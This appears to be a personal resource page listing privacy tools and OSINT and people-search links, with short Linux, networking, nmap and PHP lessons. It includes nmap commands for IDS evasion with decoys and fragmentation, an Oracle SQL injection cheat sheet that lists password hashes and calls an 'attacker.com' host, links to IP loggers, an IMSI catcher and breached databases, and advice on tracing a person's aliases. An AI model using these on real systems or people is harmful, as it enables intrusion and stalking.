DISCLAIMER!! THIS IS FOR EDUCATIONAL AND INFORMATIONAL PURPOSES ONLY, WE DO NOT CONDONE ANY ILLEGAL ACTIVITY WHEN USING ANY OF THE TOOLS, GUIDES OR RESOURCES WE HAVE PROVIDED.
LOOKING AT ADDING MORE RESOURCES SOON! LIST OF RESOURCES HAS BEEN UPDATED!
Resources
Pocket - Store Your Favourite Articles! Digital Library! Read // Borrow Digital Books Free Books Lots Of Books A Ton Of Articles Lots of stories Lots of PDF Files Documentary Streaming Service Image Scrubber + Blur Tool Remove Background Noise Web Cam Tools Web Cam Tools Repair Guides For Your Devices! Psychology Studies More Psychology Studies Medical Studies Scientific Studies Scientific Studies Archive Academic Studies Computer Science Studies Journalism Research Engine Project Planning! Whiteboard Tool Open Source and Encrypted Notepad with other resources Clinical and Medical Studies Scientific Studies PMC NIH Medical Studies Scientific / Academic Studies Academic Studies Academic Search Engine Fact Check Search Engine Plagiarism Checker Plagiarism Checker Reverse Image Search Reverse Image Search If You Can't Be Arsed Typing Everything From An Image Use This Tool Swiss Army Knife of Image Tools List Of Open Source Information The Bored Button! If You're Extremely Bored Using A Search Engine The Right Way! Stay Secure On Facebook Stay Secure On Instagram Stay Secure On Twitter Stay Secure On Snapchat Convert Articles Into Podcasts!
Guides & Articles
Browsers
- https://brave.com/
- https://iridiumbrowser.de/
- https://www.bromite.org/
- https://github.com/Eloston/ungoogled-chromium
- https://librewolf.net/
Browser Extensions
- Privacybadger
- Ublock Origin
- Return Youtube Dislike
- Enhancer for YouTube
- Tab Copy/Paste
- Duckduckgo Privacy Essentials
- XBrowserSync
- HTTPS Everywhere
- NoScript
VPN's IF YOU'RE THREAT MODEL IS FOCUSED ON ANONYMITY, VPN'S ARE NOT FOR YOU!!
(Use cases: Hiding traffic from ISP, changing geo-location for Netflix or other streaming services, and to hide your identity from ip loggers.)
- https://mullvad.net/en/vpn
- https://protonvpn.com/
- https://windscribe.com/
- https://www.ivpn.net/
- https://www.privateinternetaccess.com/
Encrypted Messengers
Update
Telegram has been removed as it is not e2ee by default
- https://www.signal.org/
- https://element.io/matrix-services
- https://threema.ch/en
- https://getsession.org/
- https://jami.net/
- https://www.chatcrypt.com/ (Web Chat, Not An App)
Social Media
- https://joinmastodon.org/
- https://diasporafoundation.org/
- https://friendi.ca/
- https://pixelfed.org/
- https://getaether.net/
- https://keybase.io/
Keeping Control of Your Fingerprint! / Aliasing
- For your credit/debit cards - https://privacy.com/
- For Your Email(s) - https://simplelogin.io/
- For Your Email(s) - https://relay.firefox.com/
- For Your Email(s) - https://duckduckgo.com/email/
- Browser App for Android with App Tracking Protection - https://play.google.com/store/apps/details?id=com.duckduckgo.mobile.android
- Track What Companies Has Your Information - https://saymine.com/ (Uses Email Headers To Determine This.)
- Remove YOUR Data From Google Search - https://joindeleteme.com/
- Clean Up Old Posts, Including Discord Messages - https://redact.dev/
Email Providers EMAIL IS NOT THE MOST SECURE LINK IN THE CHAIN! WE RECOMMEND USING ENCRYPTED MESSENGERS OVER EMAIL!
Email Clients
- For Desktop - https://www.thunderbird.net/en-GB/
- For IOS - https://canarymail.io/
- For Android - https://k9mail.app/
File Encryption
- Encrypt Drives, Partitions and Files - https://www.veracrypt.fr/en/Downloads.html
- Zip Files With AES-256, Strong Encryption Method - https://7-zip.org/
- Encrypt And Decrypt In The Browser - https://hat.sh/
- For Emails - https://gnupg.org/ (ThunderBird Has OpenPGP Already Implemented, It Just Needs Setting Up)
- Encrypt Cloud Storage - https://cryptomator.org/
Password Managers
- Old School - https://keepassxc.org/
- User Friendly - https://bitwarden.com/
2-Factor-Authentication Apps
- For Android - https://getaegis.app/
- For IOS - https://apps.apple.com/us/app/raivo-otp/id1459042137#?platform=iphone
- For IOS - https://www.tofuauth.com/
- Hardware Key - https://www.yubico.com/ (Preferable Over The Apps)
- Hardware Key - https://solokeys.com/
Operating Systems
- https://getfedora.org/workstation/
- https://ubuntu.com/
- https://www.debian.org/
- https://linuxmint.com/
- https://manjaro.org/
Operating Systems For The Technical
- https://www.digi77.com/linux-kodachi/
- https://www.whonix.org/
- https://tails.boum.org/
- https://www.qubes-os.org/
- https://archlinux.org/
Operating Systems For Security Professionals
- https://securityonionsolutions.com/software
- https://www.kali.org/
- https://archiveos.org/cyborg-hawk/
Search Engines
Cleaning
- Removes Exif Data - https://exifcleaner.com/
- Cleans A Lot And Can Overwrite Data - https://www.bleachbit.org/
- Cleans Your PC - https://www.ccleaner.com/
- Finds Large Files Taking Up Storage - https://github.com/qarmin/czkawka
Cloud Storage.. Sort Of
- https://privatebin.info/
- https://crypt.ee/
- https://nextcloud.com/
- https://piwigo.org/
- https://cryptpad.fr
Apps To Hide Images On Android
- https://play.google.com/store/apps/details?id=ws.clockthevault
- https://play.google.com/store/apps/details?id=com.app.hider.master.pro
- https://play.google.com/store/apps/details?id=com.app.calculator.vault.hider
Session Initiation Protocol // XMPP/Jabber
- https://www.linphone.org/freesip/home
- https://voip.opensips.org/
- https://serweb.iptel.org/user/reg/index.php
- https://mdns.sipthor.net/register_sip_account.phtml
- Linphone For Android - https://play.google.com/store/apps/details?id=org.linphone (Allows You To Use Your Newly Created SIP Credentials)
- Linphone For IOS - https://itunes.apple.com/us/app/linphone/id360065638?mt=8
Virtual Machine / Kernel Virtual Machine / Container / Cloud-Based Container / Extension Containers
- Cloud Based - https://www.kasmweb.com/
- KVM - https://www.linux-kvm.org/page/Downloads
- KVM - https://www.qemu.org/
- Extension - https://addons.mozilla.org/en-GB/firefox/addon/facebook-container/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search
- Virtual Machine - https://www.virtualbox.org/
- Virtual Machine - https://www.vmware.com/uk/products/workstation-player.html
- Container - https://www.flatpak.org/
E-Sim Services
VoIP / and Video Call Services
Stay Safe When Peacefully Protesting!
- https://ssd.eff.org/en/module/attending-protest
- https://www.eff.org/deeplinks/2020/06/surveillance-self-defense-attending-protests-age-covid-19
- https://ssd.eff.org/files/2020_protestguide.pdf (Printable + Cut Out Pamphlet / Guide)
- https://www.eff.org/deeplinks/2016/11/digital-security-tips-for-protesters
- https://www.eff.org/deeplinks/2020/06/quick-and-dirty-guide-cell-phone-surveillance-protests
Open Source Information // Digital Investigations
Main Tools
- https://osintframework.com/
- https://instahunt.co/
- https://birdhunt.co/
- https://www.huntintel.io/
- https://start.me/p/1kBrw9/sans-osint-2022
- https://twitter.com/reg_snitch
- https://www.tracelabs.org/initiatives/osint-vm
- https://tsurugi-linux.org/downloads.php
- https://csilinux.com/
- https://www.reddit.com/r/OSINT/comments/u0yv15/search_engines_for_people_doing_osint/
- https://www.airtable.com/
- https://www.httrack.com/
- http://kfahv6wfkbezjyg4r6mlhpmieydbebr5vkok5r34ya464gqz6c44bnyd.onion/
- http://archiveiya74codqgiixo33q62qlrqtkgmcitqx5u2oeqnmn5bpcbiyd.onion/
- https://www.sci-hub.st/
- https://www.hacksplaining.com/features
- https://book.hacktricks.xyz/
USA People Search
- http://10digits.us
- http://www.whitepages.com
- http://www.411.com
- http://www.zabasearch.com
- http://www.intelius.com
- http://www.yellowpages.com
- http://publicrecords.directory/
- http://www.411locate.com
- http://www.addresses.com
- http://www.spokeo.com
- http://www.anywho.com
- http://www.peoplefinders.com
- http://www.skipease.com
- https://www.vetfriends.com/
- http://radaris.com
- http://www.superpages.com
- https://nuwber.com/
UK People Search
- http://www.192.com
- http://webmii.com
- http://www.kgbpeople.com
- http://www.yasni.com
- http://www.peekyou.com/united_kingdom
- http://britishphonebook.com/
Canada People Search
Phone Search
- http://www.spydialer.com/
- http://www.phonevalidator.com
- http://www.fonefinder.net
- http://canada.numbers.tel
- http://www.infobel.com/en/world
- http://www.spokeo.com
- http://freecellphonelookups.phonelookuprjt.com/
- http://www.numberway.com/
- https://github.com/sundowndev/PhoneInfoga
- https://github.com/Oros42/IMSI-catcher
- https://github.com/smrachi/SigPloit-2
Username Search
Picture Search
- http://www.tineye.com
- https://images.google.com/
- http://exifdata.com/
- http://geoimgr.com/
- https://pimeyes.com/
- https://mediaarea.net/en/MediaInfo
Email Search
- http://com.lullar.com
- http://www.emailfinder.com
- http://www.spokeo.com/email-search
- http://ctrlq.org/google/images/
- http://emailchange.com/
MISC Search
- http://www.criminalsearches.com
- https://www.advancedbackgroundchecks.com/
- http://www.usatrace.com
- http://www.criminalsearches.com
- http://www.abika.com
- http://www.gps-coordinates.net/
- http://www.speedguide.net/ip/
- http://db-ip.com/
- http://www.ipgeek.org/
Useful sites to get/use IPs
- https://www.iplocation.net/
- http://www.proxyornot.com
- http://www.infosniper.net
- https://www.whois.net
- http://www.ip-tracker.org
- http://skypegrab.net
- http://mostwantedhf.info
- http://iphostinfo.com/cloudflare/
- https://www.canarytokens.org/generate
- https://grabify.link/
- https://iplogger.org/
Social Network Searches
- http://www.facebook.com
- http://topsy.com/
- http://monitter.com/
- http://socialmention.com/
- http://knowem.com/
- http://twoogel.com/
- http://www.yacktrack.com
- http://www.samepoint.com/
- http://www.whostalkin.com/
Passwords
- https://haveibeenpwned.com/
- https://www.hacked-db.com/
- https://www.leakedsource.com
- https://hashkiller.co.uk/Cracker/MD5
- https://hacked-emails.com
- https://breachalarm.com/
- https://lastpass.com/adobe/
Flight Trackers
- https://www.flightradar24.com
- https://flightaware.com
- https://www.flightstats.com
- https://www.flightview.com/flighttracker/
Bluetooth Tracking
WiFi SSID // BSSID Geo-Locating
Random Resources
START OF LINUX COMMAND LINE LESSON
- System
uname Displays Linux system information
uname -r Displays kernel release information
uptime Displays how long the system has been running including load average
hostname Shows the system hostname
hostname -i Displays the IP address of the system
last reboot Shows system reboot history
date Displays current system date and time
timedatectl Query and change the System clock
cal Displays the current calendar month and day
w Displays currently logged in users in the system
whoami Displays who you are logged in as
finger username Displays information about the user - Hardware
dmesg Displays bootup messages
cat /proc/cpuinfo Displays more information about CPU e.g model, model name, cores, vendor id
cat /proc/meminfo Displays more information about hardware memory e.g. Total and Free memory
lshw Displays information about system's hardware configuration
lsblk Displays block devices related information
free -m Displays free and used memory in the system (-m flag indicates memory in MB)
lspci -tv Displays PCI devices in a tree-like diagram
lsusb -tv Displays USB devices in a tree-like diagram
dmidecode Displays hardware information from the BIOS
hdparm -i /dev/xda Displays information about disk data
hdparm -tT /dev/xda <:code> Conducts a read speed test on device xda
badblocks -s /dev/xda Tests for unreadable blocks on disk
.
- Users
id Displays the details of the active user e.g. uid, gid, and groups
last Shows the last logins in the system
who Shows who is logged in to the system
groupadd "admin" Adds the group 'admin'
adduser "Sam" Adds user Sam
userdel "Sam" Deletes user Sam
usermod Used for changing / modifying user information - File Commands
ls -al Lists files - both regular & hidden files and their permissions as well.
pwd Displays the current directory file path
mkdir 'directory_name' Creates a new directory
rm file_name Removes a file
rm -f filename Forcefully removes a file
rm -r directory_name Removes a directory recursively
rm -rf directory_name Removes a directory forcefully and recursively
cp file1 file2 Copies the contents of file1 to file2
cp -r dir1 dir2 Recursively Copies dir1 to dir2. dir2 is created if it does not exist
mv file1 file2 Renames file1 to file2
ln -s /path/to/file_name link_name Creates a symbolic link to file_name
touch file_name Creates a new file
cat > file_name Places standard input into a file
more file_name Outputs the contents of a file
head file_name Displays the first 10 lines of a file
tail file_name Displays the last 10 lines of a file
gpg -c file_name Encrypts a file
gpg file_name.gpg Decrypts a file
wc Prints the number of bytes, words and lines in a file
xargs Executes commands from standard input
.
- Process Related
ps Display currently active processes
ps aux | grep 'telnet' Searches for the id of the process 'telnet'
pmap Displays memory map of processes
top Displays all running processes
kill pid Terminates process with a given pid
killall proc Kills / Terminates all processes named proc
pkill process-name Sends a signal to a process with its name
bg Resumes suspended jobs in the background
fg Brings suspended jobs to the foreground
fg n job n to the foreground
lsof Lists files that are open by processes
renice 19 PID makes a process run with very low priority
pgrep firefox find Firefox process ID
pstree visualizing processes in tree model - File Permission
chmod octal filename Change file permissions of the file to octal
Example
chmod 777 /data/test.c Set rwx permissions to owner, group and everyone (everyone else who has access to the server)
chmod 755 /data/test.c Set rwx to the owner and r_x to group and everyone
chmod 766 /data/test.c Sets rwx for owner, rw for group and everyone
chown owner user-file Change ownership of the file
chown owner-user:owner-group file_name Change owner and group owner of the file
chown owner-user:owner-group directory Change owner and group owner of the directory
- Network
ip addr show Displays IP addresses and all the network interfaces
ip address add 192.168.0.1/24 dev eth0 Assigns IP address 192.168.0.1 to interface eth0
ifconfig Displays IP addresses of all network interfaces
ping host ping command sends an ICMP echo request to establish a connection to server / PC
whois domain Retrieves more information about a domain name
dig domain Retrieves DNS information about the domain
dig -x host Performs reverse lookup on a domain
host google.com Performs an IP lookup for the domain name
hostname -i Displays local IP address
wget file_name Downloads a file from an online source
netstat -pnltu Displays all active listening ports - Compression/Archives
tar -cf home.tar home<:code> Creates archive file called 'home.tar' from file 'home'
tar -xf files.tar Extract archive file 'files.tar'
tar -zcvf home.tar.gz source-folder Creates gzipped tar archive file from the source folder
gzip file Compression a file with .gz extension
[12:13]
. - Install Packages
rpm -i pkg_name.rpm Install an rpm package
rpm -e pkg_name Removes an rpm package
dnf install pkg_name Install package using dnf utility - Install Source (Compilation)
./configure Checks your system for the required software needed to build the program. It will build the Makefile containing the instructions required to effectively build the project
make It reads the Makefile to compile the program with the required operations. The process may take some time, depending on your system and the size of the program
make install The command installs the binaries in the default/modified paths after the compilation - Search
grep 'pattern' files Search for a given pattern in files
grep -r pattern dir Search recursively for a pattern in a given directory
locate file Find all instances of the file
find /home/ -name "index" Find file names that begin with 'index' in /home folder
find /home -size +10000k Find files greater than 10000k in the home folder - Login
ssh user@host Securely connect to host as user
ssh -p port_number user@host Securely connect to host using a specified port
ssh host Securely connect to the system via SSH default port 22
telnet host Connect to host via telnet default port 23 - File Transfer
scp file1.txt server2/tmp Securely copy file1.txt to server2 in /tmp directory
rsync -a /home/apps /backup/ Synchronize contents in /home/apps directory with /backup directory - Disk Usage
df -h Displays free space on mounted systems
df -i Displays free inodes on filesystems
fdisk -l Shows disk partitions, sizes, and types
du -sh Displays disk usage in the current directory in a human-readable format
findmnt Displays target mount point for all filesystems
mount device-path mount-point Mount a device - Directory Traverse
cd .. Move up one level in the directory tree structure
cd Change directory to $HOME directory
cd /test Change directory to /test directory
END OF LINUX COMMAND LINE LESSON
Mini Networking Lesson
Net/Host ID by Class;
A
0nnnnnnn.HHHHHHHH.HHHHHHHH.HHHHHHHH
B
10nnnnnn.nnnnnnnn.HHHHHHHH.HHHHHHHH
C
110nnnnn.nnnnnnnn.nnnnnnnn.HHHHHHHH
D
1110XXXX.XXXXXXXX.XXXXXXXX.XXXXXXXX
E
1111XXXX.XXXXXXXX.XXXXXXXX.XXXXXXXX
Subnetting;
ipv4 address;
11000000.10101000.00000101.10000010
192.168.5.130
Subnet mask;
11111111.11111111.11111111.11000000
255.255.255.192
Network prefix;
11000000.10101000.00000101.10000000
192.168.5.128
Host part;
00000000.00000000.00000000.00000010
0.0.0.2
.
Three way handshake;
Send Syn, Receive SynAck, Send Ack
This is used with the transport control protocol (TCP), another protocol UDP is completely connectionless(edited)
IEEE 802;
802.3 - Ethernet
802.11a/b/g/n - Wifi
802.8 - Fiber Optic
802.15.1 - Bluetooth
802.16 - WiMAX
OSI - Protocol - Device;
Layer 7. Application
FTP, HTTP, DNS, SSH, DHCP, Telnet, POP3/IMAP, PDU, IDS, Firewalls
Layer 6. Presentation
SMB, ASCII, AFP, SSL, TLS, GIF, JPEG, Firewalls, IDS
Layer 5. Session
SIP, PPTP, Firewalls, IDS
Layer 4. Transport
ARP, TCP, UDP, RDP, Firewalls
Layer 3. Network
IPv4, IPv6, OSPF, RIP, BGP, ICMP, Routers, L3 Switches
Layer 2. Link
ARP, Ethernet, Token Ring, irDA, PPP, Frame Relay, L2 Switches, Bridges
Layer 1. Physical
ADSL, LDSL, USB, SDH, WiFi, Bluetooh, Hubs, Repeaters, Modems(edited)
Network Topologies;
Ring, Mesh, Star, Fully connected, Line, Tree, Bus, etc. Use google for picture references, it is basically different positions networks are setup.
DHCP;
Client: DHCP Discover -Server:- DHCP Offer Client: DHCP Request -Server:- DHCP Acknowledgement
TCP/IP - Class ranges;
Class: A
Range: 0.0.0.0-127.255.255.255
Private: 10.0.0.0/8
Class: B
Range: 128.0.0.0-191.255.255.255
Private: 172.16.0.0/12
Class: C
Range: 192.0.0.0-223.255.255.255
Private: 192.168.0.0/16
Class: D (multicast)
Range: 224.0.0.0-239.255.255.255
Private: nope
Class: E (reserved)
Range: 240.0.0.0-255.255.255.255
Private: nope
End of Mini Network Lesson
Enumeration Lesson
Alive Hosts;
NMAP
nmap -sn -n 172.16.0.1\24 | grep "Nmap" | cut -d " " -f 5 > alives
NIX
bash/sh
for x in {1..254..1};do ping -c 1 172.16.0.$x | grep "64 b" | cut -d" " -f4 >> alive.hosts; done
WIN
cmd.exe
for /L %i in (10,1,254) do @ (for /L %x in (10,1,254) do @ ping -n 1 -w 172.16.%i.%x 2>nul | find "Reply" && echo 172.16.%i.%x >> alive.hosts)
powershell.exe
Foreach($x in 1..255){Test-Connection 172.16.0.$x}
NMAP
Alives Generation
nmap -sn -n | grep "Nmap" | awk $6 > alives.hosts
nmap -sn -n -oN scan.nmap && awk $6 scan.nmap > alives.hosts
Very Minimal Footprint with Fragmentation & Decoys
nmap -sS --max-retries 0 --scan-delay 3 --os-limit --max-os-tries 1 -T0 -n -Pn -iL targets.txt -vv -f -D RND:10 --ttl 32
Conscious Footprint
nmap -sS -sN -p1,2-9,39 -Pn -n -T2 -f 192.168.0.1\24
Aggressive Everything
nmap -A -p- 0.0.0.0\0
XML Web Presentation
nmap -sT -p- 192.168.1.5 -oX webpresentation.xml --webxml
NMAP Flags/Args;
-sn
Alive hosts discovery^1A
-sU
UDP Scan
-Pn
Assume host is alive
-sT
Full TCP Handshake Scan
-n
Don't resolve IP addresses
-sS
TCP SYN Scan
-R
Always resolve IP addresses
-sA
TCP ACK Scan
-F
Fast ports Scan
--scripts
Nmap Scripts
-p
All ports 1-65355
-sN
TCP NULL Scan
-T
Timing speed very slow (1) to very fast (5)
-sF
TCP FIN Scan
--scan-delay [integer]
Time between probes
-sV
Service Enumeration
-f
Fragment Packets (IDS/FW evasion)
-O
OS Type Enumeration
-D
Decoy hosts traffic
RND:10
10 Random source hosts for -D option
-PS
TCP SYN Ping^2A
-PA
TCP ACK Ping^2A
-PU
UDP Ping^3A
-PE
ICMP Echo Request
-PP
ICMP Timestamp Query^4A
-PM
ICMP Address Mask Query^5A
-A
Aggressive Scan^6A
--ttl
Set Time-To-Live for packets
--version-light
Versioning intensity: 2
--version-all
Version intensity: 9
--iflist
List interfaces (ifconfig)
--traceroute
Trace route to destination
--stats every [integer]
Time between writing to stdout
--script-updatedb
Update script db
--data-length [integer]
Use with -sU, size of UDP payload
--open
Return only open ports
--system-dns
Resolve hostnames with localhost
--dns-servers
Specify name server addresses for resolutions
--resume [file]
Scan to resume from output file
--append-output
Append to output file
--ip-options
Specify raw IP frame hex options
Example:
--ip-options \x01\x07\x04\x00*36\x01
-sW
TCP Window Scan
-sM
TCP Maimon Scan
-sX
TCP Xmas Scan (all flags)
--scanflags URGACK
Set TCP Flags
1A. Sends ICMP Echo Req, SYN:443, ACK:80, ICMP Timestamp Req
2A. Destination port 80, may specify alternate port with the '-p' flag.
3A. Destination port 40125, may specify alternate port with the '-p' flag.
4A. Expects ICMP Code 14 reply, indicates host is available.
End of Enumeration Lesson
Oracle Database SQL Injection Lesson
Version;
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
Comments;
SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current User;
SELECT user FROM dual
List Users;
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password Hashes;
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g
SELECT name,spare4 FROM sys.user$ — priv, 11g
List Privileges;
SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
Location of DB files;
SELECT name FROM V$DATAFILE;
Avoiding Quotes;
SELECT chr(65) || chr(66) FROM dual; — returns AB
Hostname, IP Address;
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
Time Delay;
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
Case Statement;
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Make DNS Requests;
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
String Concatenation;
SELECT ‘A’ || ‘B’ FROM dual; — returns AB
Current Database;
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases;
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status).
List Columns;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
Bitwise AND;
SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
If Statement;
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
List DBA Accounts;
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Select Nth Row;
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
List Tables;
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Char;
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
ASCII Value -> Char;
SELECT chr(65) FROM dual; — returns A
Casting;
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
Char -> ASCII Value
SELECT ascii(‘A’) FROM dual; — returns 65
End of Oracle Database SQL Injection Lesson
PHP Lesson
PHP Arrays;
array_filter (input, [callback])
array_key_exists (strtolower($key), array_change_key_case($search))
array_walk (&$array, callback(val,key), userdata)
array_map (callback, array1, [array2,...])
array_search (needle, haystack, [strict])
array_push (&$array, var1,[var2])
array_pop (&$array)
array_unshift (&$array, var1,[var2])
array_shift (&$array)
count(array)
in_array (needle, haystack, strict)
array_unique (array, [sort_flag])
array_diff(array1, array2, [array3...])
array_intersect(array1, array2, [array3...])
array_rand(array, [num])
PHP String;
substr_count (haystack, needle,[offset, length])
strpos (haystack, needle, [offset]) (compare only with ===)
stripos (haystack, needle, [offset])
strrpos (haystack, needle, [offset])
strripos (haystack, needle, [offset])
ord (symbol)
chr (ascii)
strip_tags (str, [allowable_tags])
number_format (number, decimals, dec.point, th. sep)
join (glue, array)
strstr (haystack, needle, [before_needle])
strlen (string)
parse_str (string, [& array])
flush ()
PHP Math;
ceil()
floor()
round()
abs()
mt_rand([min=0, max=RAND_MAX])
PHP fopen() modes;
r
read; pointer at start
r+
read/write; pointer at start
w
write; clean on start; create if not exists
w+
write/read; same
a
write; pointer at end; create if not exists
a+
write/read; pointer at end
x
write
x+
write/read
c
write
c+
write/read
PHP Filesystem;
is_dir (filename)
is_file (filename)
is_executable (filename)
is_link (filename)
is_writable (filename)
is_readable (filename)
file_exists (filename)
file_get_contents (filename,[include_path,resource,offset,maxlen])
disk_total_space (dir)
disk_free_space (dir)
dirname (path)
realpath (filename)
pathinfo (path [,PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] )
scandir(dir, [order])
End of PHP Lesson
Raidforums Every Database Breach Download Possible Can Be Found Here (Siezed by the DOJ, FBI and other international agencies)
Interesting Lists of Things You Can Have a Look At
Hacking Courses To Indulge Yourself With
- https://hacktory.ai/
- https://dca.immersivelabs.online/
- https://cybrary.it/
- https://www.udemy.com/
- https://www.hackerhighschool.org/
- https://www.hackthebox.eu/
- https://www.hackthissite.org/
- https://tryhackme.com/
- http://www.itsecgames.com/
- https://github.com/trimstray/the-book-of-secret-knowledge (Amazing Web Booklet aimed at Pentesters, Network Admins, DevOps, Sys Admins and Security Researchers)
- https://www.youtube.com/watch?v=KI0tjZUkb5A
- https://youtu.be/D810LJVh4sA
- https://www.mediafire.com/file/6x8morl0ms338h0/Hacking_courses.zip/file
- http://www.mediafire.com/file/2sspb36u5gymd23/Secrets_of_Super_and_Professional_Hackers.zip/file
Tools For Hackers
- https://github.com/Lin8x/Lin8x-Discontinued
- https://github.com/Lin8x/rat-guide
- https://github.com/Lin8x/airline-crack
- https://github.com/Lin8x/spied-on-u
- https://github.com/Lin8x/tor-guide
- https://github.com/Lin8x/skyBREAK
- https://github.com/Lin8x/MacOS-Linux
- https://github.com/Lin8x/flutter
- https://github.com/Lin8x/PRETty
Other Random Stuff
- https://www.youtube.com/watch?v=D0lI12DUg7Y
- http://www.googleguide.com/advanced_operators_reference.html (Use these to help you do more direct and specific searches!)
- https://whitepages.com/ (Search your name, etc and see if it may be on whitepages. If you are that desperate then pay for premium, there is also a french white pages)
- https://www.robtex.com/ (Reverse DNS lookup, and other networking scans with this website idfk what it does I just found it lmfao)
- https://checkusernames.com/ (If there are any Aliases that you have found on someone you can paste them here and it will scan 160+ networks)
- https://knowem.com/ (Over 500+ networks, this will probably be the better option for looking for aliases)
- https://www.zabasearch.com/ (Common person search)
- https://www.searchenginejournal.com/change-user-agent/368448/ (You can spoof your user agent, a user agent is what helps a website recognise how to display it to you, so for example if you are on a phone or you're using a phone user agent the website will be displayed as a phone)
- https://dnsdumpster.com/ (Use This Tool To Map All DNS's)